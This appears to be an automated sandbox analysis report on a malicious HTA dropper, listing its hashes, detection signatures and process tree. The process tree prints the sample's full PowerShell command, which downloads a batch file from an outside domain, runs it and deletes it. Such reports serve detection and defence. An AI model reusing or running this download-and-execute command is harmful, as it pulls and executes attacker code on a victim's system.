Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-01-2025 03:17

General

  • Target

    cec517b8225912ac87b826382db2260c6fc5337a4a6323c800b84e14bdaa4670.hta

  • Size

    1KB

  • MD5

    12f69df4d692549683858d447aba1d01

  • SHA1

    6c4c5d5fcf1a1d9a52f049e18208888855203b29

  • SHA256

    cec517b8225912ac87b826382db2260c6fc5337a4a6323c800b84e14bdaa4670

  • SHA512

    21d914639be0a8c1914f9af752735ebcd5478ca9a39aaa84763477448e0a5f100ea38a73ba9c81b5e22fb8cd4e676bcc98cfc5b064b16deb1b4397829fe25525

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://candwfarmsllc.com/c2.bat

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\cec517b8225912ac87b826382db2260c6fc5337a4a6323c800b84e14bdaa4670.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$url = 'https://candwfarmsllc.com/c2.bat';$output = $env:TEMP + '\temp.bat';Invoke-WebRequest -Uri $url -OutFile $output;Start-Process 'cmd.exe' -ArgumentList '/c', $output -Wait;Remove-Item $output -Force;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1632
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\temp.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:484

Network

MITRE ATT&CK Enterprise v15

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Downloads